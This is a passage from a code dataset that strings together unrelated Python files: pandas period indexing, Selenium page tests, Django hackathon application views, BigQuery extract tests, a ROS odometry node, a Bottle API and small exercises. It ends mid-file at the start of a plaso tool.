lib.get_period_weekday_arr(self.values, base, mult)\n\n @property\n def day_of_week(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_dow_arr(self.values, base, mult)\n\n @property\n def day_of_year(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_doy_arr(self.values, base, mult)\n\n @property\n def hour(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_hour_arr(self.values, base, mult)\n\n @property\n def minute(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_minute_arr(self.values, base, mult)\n\n @property\n def second(self):\n base, mult = _gfc(self.freq)\n return lib.get_period_second_arr(self.values, base, mult)\n\n # Try to run function on index first, and then on elements of index\n # Especially important for group-by functionality\n def map(self, func_to_map):\n try:\n return func_to_map(self)\n except:\n return super(DatetimeIndex, self).map(func_to_map)\n\n def _mpl_repr(self):\n # how to represent ourselves to matplotlib\n return datetools._period_box_array(self, self.freq)\n\n def to_timestamp(self, freq='D', how='start'):\n \"\"\"\n Cast to datetimeindex of timestamps, at *beginning* of period\n\n Parameters\n ----------\n how : {'s', 'e', 'start', 'end'}\n\n Returns\n -------\n DatetimeIndex\n \"\"\"\n base, mult = _gfc(freq)\n new_data = self.asfreq(freq, how)\n new_data = lib.periodarr_to_dt64arr(new_data.values, base, mult)\n\n ts_freq = _period_rule_to_timestamp_rule(self.freq, how=how)\n return DatetimeIndex(new_data, freq=ts_freq)\n\n def shift(self, n):\n \"\"\"\n Specialized shift which produces an PeriodIndex\n\n Parameters\n ----------\n n : int\n Periods to shift by\n freq : freq string\n\n Returns\n -------\n shifted : PeriodIndex\n \"\"\"\n if n == 0:\n return self\n\n return PeriodIndex(data=self.values + n, freq=self.freq)\n\n def __add__(self, other):\n if isinstance(other, (int, long)):\n return PeriodIndex(self.values + other, self.freq)\n return super(PeriodIndex, self).__add__(other)\n\n def __sub__(self, other):\n if isinstance(other, (int, long)):\n return PeriodIndex(self.values - other, self.freq)\n if isinstance(other, Period):\n if other.freq != self.freq:\n raise ValueError(\"Cannot do arithmetic with \"\n \"non-conforming periods\")\n return PeriodIndex(self.values - other.ordinal)\n return super(PeriodIndex, self).__sub__(other)\n\n @property\n def inferred_type(self):\n # b/c data is represented as ints make sure we can't have ambiguous\n # indexing\n return 'period'\n\n def get_value(self, series, key):\n \"\"\"\n Fast lookup of value from 1-dimensional ndarray. Only use this if you\n know what you're doing\n \"\"\"\n try:\n return super(PeriodIndex, self).get_value(series, key)\n except KeyError:\n try:\n asdt, parsed, reso = datetools.parse_time_string(key)\n grp = _freq_mod._infer_period_group(reso)\n freqn = _freq_mod._period_group(self.freq)\n\n # if our data is higher resolution than requested key, slice\n if grp < freqn:\n iv = Period(asdt, freq=(grp,1))\n ord1 = iv.asfreq(self.freq, how='S').ordinal\n ord2 = iv.asfreq(self.freq, how='E').ordinal\n pos = np.searchsorted(self.values, [ord1, ord2])\n key = slice(pos[0], pos[1]+1)\n return series[key]\n else:\n key = to_period(asdt, freq=self.freq).ordinal\n return self._engine.get_value(series, key)\n except TypeError:\n pass\n except KeyError:\n pass\n except IndexError:\n ival = Period(key, freq=self.freq)\n raise IndexError(\"%s is out of bounds\" % ival)\n\n key = to_period(key, self.freq).ordinal\n return self._engine.get_value(series, key)\n\n def get_loc(self, key):\n \"\"\"\n Get integer location for requested label\n\n Returns\n -------\n loc : int\n \"\"\"\n try:\n return self._engine.get_loc(key)\n except KeyError:\n try:\n asdt, parsed, reso = datetools.parse_time_string(key)\n key = asdt\n except TypeError:\n pass\n except KeyError:\n pass\n\n key = to_period(key, self.freq).ordinal\n return self._engine.get_loc(key)\n\n def __getitem__(self, key):\n \"\"\"Override numpy.ndarray's __getitem__ method to work as desired\"\"\"\n arr_idx = self.view(np.ndarray)\n if np.isscalar(key):\n val = arr_idx[key]\n return _period_box(val, freq=self.freq)\n else:\n if com._is_bool_indexer(key):\n key = np.asarray(key)\n\n result = arr_idx[key]\n if result.ndim > 1:\n return PeriodIndex(result, name=self.name, freq=self.freq)\n\n return PeriodIndex(result, name=self.name, freq=self.freq)\n\n def format(self, name=False):\n \"\"\"\n Render a string representation of the Index\n \"\"\"\n header = []\n\n if name:\n header.append(str(self.name) if self.name is not None else '')\n\n return header + ['%s' % _period_box(x, freq=self.freq) for x in self]\n\n def _view_like(self, ndarray):\n result = ndarray.view(type(self))\n result.freq = self.freq\n result.name = self.name\n return result\n\n def __array_finalize__(self, obj):\n if self.ndim == 0: # pragma: no cover\n return self.item()\n\n self.freq = getattr(obj, 'freq', None)\n\n def __repr__(self):\n output = str(self.__class__) + '\\n'\n output += 'freq: ''%s''\\n' % self.freq\n if len(self) > 0:\n output += '[%s, ..., %s]\\n' % (self[0], self[-1])\n output += 'length: %d' % len(self)\n return output\n\n\ndef _validate_end_alias(how):\n how_dict = {'S': 'S', 'E': 'E',\n 'START': 'S', 'FINISH': 'E',\n 'BEGIN': 'S', 'END': 'E'}\n how = how_dict.get(str(how).upper())\n if how not in set(['S', 'E']):\n raise ValueError('How must be one of S or E')\n return how\n\ndef pnow(freq=None):\n return Period(datetime.now(), freq=freq)\n\ndef period_range(start=None, end=None, periods=None, freq='D'):\n \"\"\"\n Return a fixed frequency datetime index, with day (calendar) as the default\n frequency\n\n\n Parameters\n ----------\n start :\n end :\n normalize : bool, default False\n Normalize start/end dates to midnight before generating date range\n\n Returns\n -------\n\n \"\"\"\n return PeriodIndex(start=start, end=end, periods=periods,\n freq=freq)\n\ndef _period_rule_to_timestamp_rule(freq, how='end'):\n how = how.lower()\n if how in ('end', 'e'):\n return freq\n else:\n if freq.startswith('A-') or freq.startswith('BA-'):\n base, color = freq.split('-')\n return '%sS-%s' % (base, color)\n return freq\n","sub_path":"pandas/tseries/period.py","file_name":"period.py","file_ext":"py","file_size_in_byte":31449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"44707876","text":"import pytest\nfrom pages.cart_page import CartPage\nfrom pages.main_page import MainPage\nfrom pages.login_page import LoginPage\n\n\n@pytest.mark.login_guest\nclass TestLoginFromMainPage:\n def test_guest_should_see_login_link(self, browser):\n link = \"http://selenium1py.pythonanywhere.com/\"\n page = MainPage(browser, link)\n page.open()\n page.should_be_login_link()\n\n def test_guest_can_go_to_login_page(self, browser):\n link = \"http://selenium1py.pythonanywhere.com/\"\n page = MainPage(browser, link)\n page.open()\n page.go_to_login_page()\n page = LoginPage(browser, page.browser.current_url)\n page.should_be_login_page()\n\n\ndef test_guest_can_see_empty_cart_opened_from_main_page(browser):\n link = MainPage.MAIN_PAGE\n page = MainPage(browser, link)\n page.open()\n page.open_cart()\n page = CartPage(browser, page.browser.current_url)\n page.should_be_empty_cart()\n","sub_path":"test_main_page.py","file_name":"test_main_page.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"324359849","text":"#!/usr/bin/env python3\nimport helper\n\ngrades = helper.get_grades()\n\ndiffs = []\ndiffs_without_failed = []\nfor grade_data in grades:\n grade = grade_data['grade']\n if grade == 5.0:\n continue\n avg = helper.get_avg_from_notenspiegel(grade_data['notenspiegel'])\n if avg < 1:\n continue\n avg_without_failed = helper.get_avg_from_notenspiegel_without_failed(grade_data['notenspiegel'])\n title = grade_data['title']\n diff = avg - grade\n diff_without_failed = avg_without_failed - grade\n diffs.append(diff)\n diffs_without_failed.append(diff_without_failed)\n print(\"grade: {}\\tavg: {}\\tdiff: {}\\tdiff without 5,0: {}\\t\\t({})\".format(grade, round(avg, 2), round(diff, 1), round(diff_without_failed, 1), title))\n\ndef get_diff_avg_for_notenspiegel(diffs):\n return sum(diffs) / len(diffs)\n\nprint('\\n' * 3)\nprint('#Courses: {}'.format(len(grades)))\n\navg_of_diff_to_avgs = get_diff_avg_for_notenspiegel(diffs)\navg_of_diff_to_avgs_without_failed = get_diff_avg_for_notenspiegel(diffs_without_failed)\n\nprint('avg diff: {}'.format(round(avg_of_diff_to_avgs, 2)))\nprint('avg diff without failed: {}'.format(round(avg_of_diff_to_avgs_without_failed, 2)))\n","sub_path":"grades_extractor.py","file_name":"grades_extractor.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"23325481","text":"import time\nimport vec\nimport mat\nfrom vec_sparse import Vec as sparse_Vec\nfrom mat_sparse import Mat as sparse_Mat\n\nimport numpy as np\nimport scipy as sp\nimport scipy.sparse as sps\nimport sys\n\n\nclass Timer(object): # this is a special class: context manager\n def __enter__(self):\n self.start = time.time()\n return self\n\n def __exit__(self, ty, val, tb):\n end = time.time()\n self.elapsed = end - self.start\n return False\n\n\ndef our_timer(repeats, loops):\n #repeats = 5\n #loops = 1000\n def decorator(func):\n def wrapper(*args, **kwargs):\n times = [0]*repeats\n for i in range(repeats):\n with Timer() as t1:\n for _ in range(loops):\n func(*args, **kwargs)\n times[i] = t1.elapsed\n #print(func.__name__, times[i])\n print(\"best of\", str(repeats), \"times\",str(loops),\"executions for\", func.__name__, str(min(times)))\n return wrapper\n return decorator\n\n\n@our_timer(3, 1000)\ndef add_numpy(x, y):\n return x+y\n\n\n@our_timer(3, 1000)\ndef add_vec(x, y):\n return x+y\n\n\n@our_timer(3, 1000)\ndef mult_numpy(M, N):\n return M.dot(N)\n\n\n@our_timer(3, 1000)\ndef mult_mat(M, N):\n return M*N\n\n\n@our_timer(3, 1000)\ndef mult_sparse_mat(M, N):\n return M*N\n\n\ndef listlist2sparsemat(L):\n m, n = len(L), len(L[0])\n return sparse_Mat((set(range(m)), set(range(n))), {(r, c): L[r][c] for r in range(m) for c in range(n)})\n\n\ndef sps2sparseMat(M):\n S=M.tolil()\n elems = {(i,S.rows[i][j]): S.data[i][j] for i in range(len(S.data)) for j in range(len(S.data[i]))}\n return (sparse_Mat((set(range(S.shape[0])),set(range(S.shape[1]))), elems) )\n\n\nif __name__ == '__main__':\n a = np.random.randint(10, 20, (1000))\n b = np.random.randint(10, 20, (1000))\n c = vec.Vec(a.tolist())\n d = vec.Vec(b.tolist())\n\n add_numpy(a, b)\n add_vec(c, d)\n\n M = np.random.randint(10, 20, (30, 10))\n N = np.random.randint(10, 20, (10, 30))\n u = np.random.randint(10, 20, (30))\n v = np.random.randint(10, 20, (10))\n\n mult_numpy(M, v)\n mult_mat(mat.Mat(M.tolist()), vec.Vec(v.tolist()))\n\n mult_numpy(u, M)\n mult_mat(vec.Vec(u.tolist()), mat.Mat(M.tolist()))\n\n mult_numpy(M, N)\n mult_mat(mat.Mat(M.tolist()), mat.Mat(N.tolist()))\n\n print(\"\\n\"+\"=\"*20, \"Sparse matrices\", \"=\"*20)\n M = sps.random(30, 20, density=0.01, format='csc')\n N = sps.random(20, 30, density=0.01, format='csc')\n M_s = sps2sparseMat(M)\n N_s = sps2sparseMat(N)\n M_m = mat.Mat(M.toarray().tolist())\n N_m = mat.Mat(N.toarray().tolist())\n\n print(\"Memory array:\", M.toarray().nbytes, \"bytes\")\n print(\"Memory scipy sparse:\", M.data.nbytes + M.indptr.nbytes + M.indices.nbytes, \"bytes\")\n print(\"Memory our Mat:\", sys.getsizeof(M_m.store), \"bytes\")\n print(\"Memory our sparse Mat:\", sys.getsizeof(M_s.D)+sys.getsizeof(M_s.f), \"bytes\")\n\n mult_numpy(M, N)\n mult_numpy(M.toarray(), N.toarray())\n mult_mat(M_m, N_m)\n mult_sparse_mat(M_s, N_s)\n","sub_path":"DM56 - Scientific programming/Python Exercises/asg1-vecmat/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"85800838","text":"#!/usr/bin/python\nimport rospy\nimport roslib\nimport math \nimport numpy\nimport tf\n\nfrom std_msgs.msg import Float64\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Point, Quaternion, Twist\n\nclass VisOdomPublisher:\n def __init__(self):\n rospy.init_node('Visual_Odometry')\n\n self.odom_pub = rospy.Publisher('viso', Odometry, queue_size=10)\n self.tf_listener = tf.TransformListener()\n\n self.rate = rospy.get_param('~rate', 10)\n self.frame_id = rospy.get_param('~frame_id','odom')\n self.child_frame_id = rospy.get_param('~child_frame_id','base_link')\n\n self.time_start = rospy.Time.now()\n rospy.sleep(2)\n self.tf_listener.waitForTransform('/world', '/camera_position', rospy.Time(), rospy.Duration(2.0))\n self.initial_pose_at_origin = 0\n self.x_init_err = 0\n self.y_init_err = 0\n self.theta_init_err = 0\n\n def update(self):\n (trans,rot) = self.tf_listener.lookupTransform('/world', '/camera_position', rospy.Time(0))\n quaternion = (rot[0], rot[1], rot[2], rot[3])\n (roll, pitch, yaw) = tf.transformations.euler_from_quaternion(quaternion)\n\n new_x = trans[2] - self.x_init_err\n new_y = trans[1] - self.y_init_err\n new_th = pitch - self.theta_init_err\n \n if self.initial_pose_at_origin == 0:\n self.initial_pose_at_origin = 1\n self.x_init_err = trans[2]\n self.y_init_err = trans[1]\n self.theta_init_err = pitch\n\n odom_msg = Odometry()\n odom_msg.header.stamp = rospy.Time.now()\n odom_msg.header.frame_id = self.frame_id\n odom_msg.child_frame_id = self.child_frame_id\n odom_msg.pose.pose.position.x = -new_x #ZY-->XY (Z = 2, Y = 1, X = 0) -- pitch = our theta\n odom_msg.pose.pose.position.y = new_y\n odom_msg.pose.pose.orientation = Quaternion(*tf.transformations.quaternion_from_euler(0,0,new_th))\n self.odom_pub.publish(odom_msg) \n\n\n def spin(self):\n rospy.loginfo(\"Start Visual Odometry\")\n rate = rospy.Rate(self.rate)\n rospy.on_shutdown(self.shutdown)\n while not rospy.is_shutdown():\n self.update();\n rate.sleep()\n rospy.spin()\n\n def shutdown(self):\n rospy.loginfo(\"Stop Visual Odometry\")\n rospy.sleep(1)\n\ndef main():\n visodom_publisher = VisOdomPublisher();\n visodom_publisher.spin()\n\nif __name__ == '__main__':\n main(); \n","sub_path":"LaptopCode/pibot/scripts/old/visual_odom.py","file_name":"visual_odom.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"605843920","text":"ten_things = \"apples oranges crows telephones lights surgar\"\r\n\r\nprint(\"wait there are not 10 things in that list. let's fix that.\")\r\n\r\nstuff = ten_things.split('')\r\nmore_stuff = [\"day\",\"night\",\"song\",\"frisebee\",\"corn\",\"banana\",\"girl\",\"boy\"]\r\n\r\nwhile len(stuff) !=10:\r\n next_one = more_stuff.pop()\r\n print(\"adding: \", next_one)\r\n ","sub_path":"列表的操作.py","file_name":"列表的操作.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"23273428","text":"# Create your views here.\nfrom __future__ import print_function\n\nimport os\nfrom django.conf import settings\nimport zipfile\nimport io\n\nimport logging\nfrom datetime import timedelta\nimport random\n\nfrom django import http\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.core.exceptions import ValidationError, ObjectDoesNotExist\nfrom django.http import Http404, HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render, get_object_or_404\nfrom django.utils import timezone\nfrom django.views import View\n\nfrom app import slack\nfrom app.slack import SlackInvitationException\nfrom app.utils import reverse, hacker_tabs\nfrom app.views import TabsView\nfrom applications import models, emails, forms\n\n\ndef check_application_exists(user, uuid):\n try:\n application = models.Application.objects.get(user=user)\n except models.Application.DoesNotExist:\n raise Http404\n if not application or uuid != application.uuid_str:\n raise Http404\n\n\ndef new_secret_code():\n temp_code = ''.join([random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)') for i in range(50)])\n\n try:\n models.Ambassador.objects.get(secret_code=temp_code)\n except(models.Ambassador.DoesNotExist):\n return temp_code\n else:\n return new_secret_code()\n\n\ndef zipCVs(request):\n if not request.user.is_staff:\n return Http404\n\n apps = models.Application.objects.filter(\n status__in=[models.APP_ATTENDED, models.APP_CONFIRMED]\n )\n\n zip_io = io.BytesIO()\n with zipfile.ZipFile(zip_io, mode='w', compression=zipfile.ZIP_DEFLATED) as backup_zip:\n for app in apps:\n backup_zip.write(os.path.join(settings.MEDIA_ROOT, str(app.resume)))\n\n response = HttpResponse(zip_io.getvalue(), content_type='application/x-zip-compressed')\n response['Content-Disposition'] = 'attachment; filename=' + 'resumes.zip'\n response['Content-Length'] = zip_io.tell()\n return response\n\n\ndef texCVs(request):\n if not request.user.is_staff:\n return Http404\n\n apps = models.Application.objects.filter(\n status__in=[models.APP_ATTENDED, models.APP_CONFIRMED]\n )\n\n return render(request, 'cv_template.html', context={'applications': apps})\n\n\nclass ConfirmApplication(LoginRequiredMixin, UserPassesTestMixin, View):\n def test_func(self):\n check_application_exists(self.request.user, self.kwargs.get('id', None))\n return True\n\n def get(self, request, *args, **kwargs):\n application = models.Application.objects.get(user=request.user)\n msg = None\n if application.can_confirm():\n if application.is_invited_online():\n msg = emails.create_online_confirmation_email(application, self.request)\n else:\t\n \tmsg = emails.create_confirmation_email(application, self.request)\n try:\n application.confirm()\n except:\n raise Http404\n\n if msg:\n msg.send()\n try:\n slack.send_slack_invite(request.user.email)\n # Ignore if we can't send, it's only optional\n except SlackInvitationException as e:\n logging.error(e)\n\n return http.HttpResponseRedirect(reverse('dashboard'))\n\n\nclass CancelApplication(LoginRequiredMixin, UserPassesTestMixin, TabsView):\n template_name = 'cancel.html'\n\n def test_func(self):\n check_application_exists(self.request.user, self.kwargs.get('id', None))\n return True\n\n def get_back_url(self):\n return reverse('dashboard')\n\n def get_context_data(self, **kwargs):\n context = super(CancelApplication, self).get_context_data(**kwargs)\n\n application = models.Application.objects.get(user=self.request.user)\n context.update({'application': application, })\n if application.status == models.APP_CANCELLED:\n context.update({'error': \"Thank you for responding. We're sorry you won't be able to make it.\"\n \" Hope to see you next edition!\"\n })\n elif application.status == models.APP_EXPIRED:\n context.update({'error': \"Unfortunately your invite has expired.\"})\n elif not application.can_be_cancelled():\n context.update({\n 'error': \"You found a glitch! You can't cancel this invitation. Is this the question for 42?\",\n 'application': None\n })\n return context\n\n def post(self, request, *args, **kwargs):\n application = models.Application.objects.get(user=self.request.user)\n try:\n application.cancel()\n except ValidationError:\n pass\n\n return http.HttpResponseRedirect(reverse('dashboard'))\n\n\ndef get_deadline(application):\n last_updated = application.status_update_date\n if application.status == models.APP_INVITED or application.status == models.APP_INVITED_ONLINE:\n deadline = last_updated + timedelta(days=7)\n else:\n deadline = last_updated + timedelta(days=1)\n return deadline\n\n\nclass HackerDashboard(LoginRequiredMixin, TabsView):\n template_name = 'dashboard.html'\n\n def get_current_tabs(self):\n return hacker_tabs(self.request.user)\n\n def get_context_data(self, **kwargs):\n context = super(HackerDashboard, self).get_context_data(**kwargs)\n form = forms.ApplicationForm()\n context.update({'form': form})\n try:\n application = models.Application.objects.get(user=self.request.user)\n deadline = get_deadline(application)\n context.update(\n {'invite_timeleft': deadline - timezone.now(), 'form': forms.ApplicationForm(instance=application)})\n except:\n # We ignore this as we are okay if the user has not created an application yet\n pass\n\n return context\n\n def post(self, request, *args, **kwargs):\n new_application = ('submit' in request.POST)\n try:\n form = forms.ApplicationForm(request.POST, request.FILES, instance=request.user.application)\n new_application = new_application and (request.user.application.status == models.APP_SAVED) \n except:\n form = forms.ApplicationForm(request.POST, request.FILES)\n if form.is_valid():\n application = form.save(commit=False)\n application.user = request.user\n if 'save' in request.POST:\n application.status = models.APP_SAVED\n if 'submit' in request.POST:\n application.status = models.APP_PENDING\n application.save()\n if new_application:\n m = emails.create_application_email(application)\n m.send()\n messages.success(request,\n 'We have now received your application. '\n 'Processing your application will take some time, so please be patient.')\n else:\n messages.success(request, 'Application changes saved successfully!')\n\n return HttpResponseRedirect(reverse('root'))\n else:\n c = self.get_context_data()\n c.update({'form': form})\n return render(request, self.template_name, c)\n\n\nclass HackerApplication(LoginRequiredMixin, TabsView):\n template_name = 'application.html'\n\n def get_current_tabs(self):\n return hacker_tabs(self.request.user)\n\n def get_context_data(self, **kwargs):\n context = super(HackerApplication, self).get_context_data(**kwargs)\n application = get_object_or_404(models.Application, user=self.request.user)\n deadline = get_deadline(application)\n context.update(\n {'invite_timeleft': deadline - timezone.now(), 'form': forms.ApplicationForm(instance=application)})\n return context\n\n def post(self, request, *args, **kwargs):\n new_application = False\n try:\n form = forms.ApplicationForm(request.POST, request.FILES, instance=request.user.application)\n new_application = ('submit' in request.POST) and (request.user.application.status == models.APP_SAVED)\n except:\n form = forms.ApplicationForm(request.POST, request.FILES)\n if form.is_valid():\n application = form.save(commit=False)\n application.user = request.user\n if 'submit' in request.POST:\n application.status = models.APP_PENDING\n application.save()\n if new_application:\n m = emails.create_application_email(application)\n m.send()\n messages.success(request,\n 'We have now received your application. '\n 'Processing your application will take some time, so please be patient.')\n else:\n messages.success(request, 'Application changes saved successfully!')\n\n return HttpResponseRedirect(reverse('application'))\n else:\n c = self.get_context_data()\n c.update({'form': form})\n return render(request, self.template_name, c)\n\n\nclass AmbassadorView(LoginRequiredMixin, TabsView):\n template_name = 'ambassador.html'\n\n def get_current_tabs(self):\n return hacker_tabs(self.request.user)\n\n def get_context_data(self, **kwargs):\n context = super(AmbassadorView, self).get_context_data(**kwargs)\n try:\n ambassador = models.Ambassador.objects.get(user=self.request.user)\n context.update({'ambassador': ambassador,})\n except(models.Ambassador.DoesNotExist):\n context.update({'form': forms.AmbassadorForm(),})\n return context\n\n def post(self, request, *args, **kwargs):\n try:\n form = forms.AmbassadorForm(request.POST, request.FILES, instance=request.user.ambassador)\n except:\n form = forms.AmbassadorForm(request.POST, request.FILES)\n if form.is_valid():\n ambassador_apply = form.save(commit=False)\n ambassador_apply.user = request.user\n ambassador_apply.secret_code = new_secret_code()\n ambassador_apply.save()\n\n messages.success(request, 'Ambassador changes saved successfully!')\n\n return HttpResponseRedirect(reverse('ambassador'))\n else:\n c = self.get_context_data()\n c.update({'form': form})\n return render(request, self.template_name, c)\n","sub_path":"applications/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"397949968","text":"import os\nimport sys\nimport time\nimport unittest\nfrom pprint import pprint\n\nsys.path.insert(0, os.path.dirname(os.path.abspath(__file__)) + '/../')\n\nfrom google_api_clients.bigquery import BigQuery\n\nclass BigQueryTest(unittest.TestCase):\n\n def setUp(self):\n self.project_id = os.getenv('PROJECT_ID')\n self.dataset_id = os.getenv('DATASET_ID', 'test_dataset')\n self.nested_table_id = os.getenv('TABLE_ID', 'test_table') + '_nested_' + str(int(time.time()))\n self.flat_table_id = os.getenv('TABLE_ID', 'test_table') + '_flat_' + str(int(time.time()))\n self.bucket = os.getenv('BUCKET')\n if self.project_id is None:\n print('PROJECT_ID is not defined.')\n sys.exit(1)\n if self.bucket is None:\n print('BCUKET is not defined.')\n sys.exit(1)\n self.bq = BigQuery(self.project_id)\n if self.bq.exists_dataset(self.dataset_id):\n self.bq.drop_dataset(self.dataset_id, delete_contents=True)\n self.bq.create_dataset(self.dataset_id)\n self.bq.dataset_id = self.dataset_id # Set default datasetId\n\n # create & load nested table\n schema = [\n { 'name': 'id', 'type': 'INTEGER', 'mode': 'REQUIRED' },\n { 'name': 'name', 'type': 'STRING', 'mode': 'REQUIRED' },\n { 'name': 'birth', 'type': 'RECORD', 'mode': 'NULLABLE', 'fields': [\n { 'name': 'year', 'type': 'INTEGER', 'mode': 'REQUIRED' },\n { 'name': 'month', 'type': 'INTEGER', 'mode': 'REQUIRED' },\n { 'name': 'day', 'type': 'INTEGER', 'mode': 'REQUIRED' },\n ]},\n { 'name': 'url', 'type': 'STRING', 'mode': 'REPEATED' },\n ]\n self.bq.create_table(self.nested_table_id, schema=schema)\n rows = [\n { 'id': 1, 'name': 'foo' },\n { 'id': 2, 'name': 'bar', 'birth': { 'year': 2015, 'month': 10, 'day': 28 } },\n { 'id': 3, 'name': 'baz', 'url': [\n 'http://www.yahoo.co.jp/',\n 'http://www.google.co.jp/',\n ]}\n ]\n self.bq.load(self.nested_table_id, rows)\n\n # create & load flat table\n schema = [\n { 'name': 'id', 'type': 'INTEGER', 'mode': 'REQUIRED' },\n { 'name': 'name', 'type': 'STRING', 'mode': 'REQUIRED' },\n ]\n self.bq.create_table(self.flat_table_id, schema=schema)\n rows = [\n { 'id': 1, 'name': 'foo' },\n { 'id': 2, 'name': 'bar' },\n { 'id': 3, 'name': 'baz' },\n ]\n self.bq.load(self.flat_table_id, rows)\n\n def TearDown(self):\n self.bq.drop_table(self.nested_table_id)\n self.bq.drop_dataset(self.dataset_id, delete_contents=True)\n\n def test_normal(self):\n # json\n destination_uris = [\n self.bucket + '/test-*.json'\n ]\n print(\"extract start (json)\")\n res = self.bq.extract(self.nested_table_id, destination_uris)\n pprint(res)\n print(\"extract end (json)\")\n\n # avro\n destination_uris = [\n self.bucket + '/test-*.avro'\n ]\n print(\"extract start (avro)\")\n res = self.bq.extract(self.nested_table_id, destination_uris)\n pprint(res)\n print(\"extract end (avro)\")\n\n # csv\n destination_uris = [\n self.bucket + '/test-*.csv'\n ]\n print(\"extract start (csv)\")\n res = self.bq.extract(self.flat_table_id, destination_uris)\n pprint(res)\n print(\"extract end (csv)\")\n\n # tsv\n destination_uris = [\n self.bucket + '/test-*.tsv'\n ]\n print(\"extract start (tsv)\")\n res = self.bq.extract(self.flat_table_id, destination_uris)\n pprint(res)\n print(\"extract end (tsv)\")\n\n # json + gz\n destination_uris = [\n self.bucket + '/test-*.json.gz'\n ]\n print(\"extract start (json+gz)\")\n res = self.bq.extract(self.nested_table_id, destination_uris)\n pprint(res)\n print(\"extract end (json+gz)\")\n\n # csv + gz\n destination_uris = [\n self.bucket + '/test-*.csv.gz'\n ]\n print(\"extract start (csv+gz)\")\n res = self.bq.extract(self.flat_table_id, destination_uris)\n pprint(res)\n print(\"extract end (csv+gz)\")\n\n # tsv + gz\n destination_uris = [\n self.bucket + '/test-*.tsv.gz'\n ]\n print(\"extract start (tsv+gz)\")\n res = self.bq.extract(self.flat_table_id, destination_uris)\n pprint(res)\n print(\"extract end (tsv+gz)\")\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/test_bigquery_extract.py","file_name":"test_bigquery_extract.py","file_ext":"py","file_size_in_byte":4654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"113034046","text":"# coding=utf-8\n\"\"\"\nsynopsis: main entrance of bottle restful-api\nauthor: haoranzeus@gmail.com (zhanghaoran)\n\"\"\"\nimport codecs\nimport getopt\nimport logging.config\nimport os\nimport sys\nimport yaml\n\nimport port_workers\n\nfrom bottle import abort\nfrom bottle import request\nfrom bottle import Bottle\n\nlogger = logging.getLogger(__name__)\n_app = Bottle()\n\n\ndef usage():\n print('some usage information')\n # TODO (dengxinjie)\n\n\ndef main(argv):\n try:\n opts, args = getopt.getopt(\n argv, \"h:p:c:\", [\"host=\", \"port=\", \"configure=\", \"help\"])\n except getopt.GetoptError:\n usage()\n sys.exit()\n\n host = 'localhost'\n port = 8082\n conf_path = os.path.join(os.path.abspath(\".\"), 'conf')\n for opt, arg in opts:\n if opt == '--help':\n usage()\n sys.exit()\n elif opt in ('-h', '--host'):\n host = arg\n elif opt in ('-p', '--port'):\n port = int(arg)\n elif opt in ('-c', '--configure'):\n conf_path = arg\n else:\n usage()\n exit()\n\n def _exit_w_info(info):\n print('\\n%s\\n' % info)\n usage()\n exit()\n\n def _ok_conf(conf):\n def check_cfg(cfg):\n cpath = os.path.join(conf, cfg)\n return ((os.path.exists(cpath) and cpath)\n or _exit_w_info('missing %s.' % cpath))\n return [check_cfg(cfg) for cfg in ('api.yaml', 'logging.yaml')]\n\n api_conf, logging_conf = _ok_conf(conf_path)\n woodenwaiter_conf = {}\n with codecs.open(logging_conf, 'r', 'utf-8') as logging_file:\n logging.config.dictConfig(yaml.load(logging_file))\n with codecs.open(api_conf, 'r', 'utf-8') as conff:\n woodenwaiter_conf.update(yaml.load(conff))\n print(woodenwaiter_conf)\n main_app = Bottle()\n main_app.mount(woodenwaiter_conf['url_root'], _app)\n\n main_app.run(host=host, port=port, debug=True)\n\n\n@_app.post('/addcooker')\n@_app.post('/addcooker/')\ndef add_customer():\n logger.debug('add customer: datas=%s', request.json)\n return request_handler(lambda: port_workers.add_cooker(request.json))\n\n\ndef request_handler(func):\n try:\n result = {'status': 'SUCCESS', \"result\": {}}\n res = func()\n\n # TODO handle exceptions here\n\n except Exception as e:\n logger.exception('Error when handle request: %s', e)\n abort(500, e)\n else:\n if res is not None:\n result['result'] = res\n result['status'] = 'SUCCESS'\n logger.debug('result = %s', result)\n return result\n\n\nif __name__ == '__main__':\n args = sys.argv[1:]\n main(args)\n","sub_path":"RESTful_bottle/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"315610145","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"A simple dump information gathered from a plaso storage container.\n\npinfo stands for Plaso INniheldurFleiriOrd or plaso contains more words.\n\"\"\"\n\nimport argparse\nimport collections\nimport logging\nimport os\nimport sys\nimport uuid\n\nfrom plaso.cli import analysis_tool\nfrom plaso.cli import views as cli_views\nfrom plaso.engine import knowledge_base\nfrom plaso.frontend import analysis_frontend\nfrom plaso.lib import definitions\nfrom plaso.lib import errors\nfrom plaso.lib import timelib\nfrom plaso.storage import zip_file as storage_zip_file\nfrom plaso.serializer import json_serializer\n\n\nclass 